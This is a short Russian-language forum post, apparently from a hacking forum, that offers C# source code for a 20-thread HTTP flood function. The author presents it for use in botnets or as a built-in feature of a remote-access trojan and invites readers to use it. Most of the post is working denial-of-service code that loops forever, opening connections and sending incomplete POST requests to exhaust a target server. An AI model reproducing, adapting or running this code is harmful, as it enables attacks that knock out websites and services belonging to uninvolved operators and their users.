Доброго времени суток! Сегодня бы хотел показать функцию HTTP флуда в 20 потоков.
Можно использовать в ботнетах или как встроенную функцию в ратнике.
Наслаждаемся и пользуемся!
Можно использовать в ботнетах или как встроенную функцию в ратнике.
Код:
static void HttpFlood(string url, int port)
{
int threads = 20;
Random r = new Random();
for (int count = 0; count < threads; count++)
{
new Thread(() =>
{
Thread.CurrentThread.IsBackground = true;
Thread.CurrentThread.Priority = ThreadPriority.Highest;
while (true)
{
try
{
TcpClient tcpClient = new TcpClient();
tcpClient.NoDelay = true;
tcpClient.Connect(url, port);
StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
streamWriter.Write("POST / HTTP/1.1\r\nHost: " + url + "\r\nContent-length: " + r.Next(3500, 10000) + "\r\n\r\n");
streamWriter.Flush();
Console.WriteLine("Server up! Packet " + count);
}
catch
{
Console.WriteLine("Server is down!");
}
}
}).Start();
}
while (true) { }
}
Наслаждаемся и пользуемся!
Последнее редактирование: